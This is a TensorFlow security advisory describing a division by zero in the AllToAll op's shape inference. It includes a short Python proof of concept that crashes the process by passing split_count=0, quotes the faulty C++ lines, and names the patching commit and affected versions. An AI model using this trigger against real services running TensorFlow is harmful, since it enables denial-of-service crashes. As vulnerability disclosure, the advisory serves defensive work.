TensorFlow

Impact

The [shape inference code for AllToAll](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/tpu_cross_replica_ops.cc#L25-L74) can be made to execute a division by 0:

```python

import tensorflow as tf

@tf.function

def func():

return tf.raw_ops.AllToAll(

input=[0.0, 0.1652, 0.6543],

group_assignment=[1, -1],

concat_dimension=0,

split_dimension=0,

split_count=0)

func()

`

This occurs whenever the split_count argument is 0:

```cc

TF_RETURN_IF_ERROR(c->GetAttr("split_count", &split_count));

...

for (int32_t i = 0; i < rank; ++i) {

...

dims[i] = c->MakeDim(c->Value(dims[i]) / split_count);

...

}

`

Patches

We have patched the issue in GitHub commit [a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc](https://github.com/tensorflow/tensorflow/commit/a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc).

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
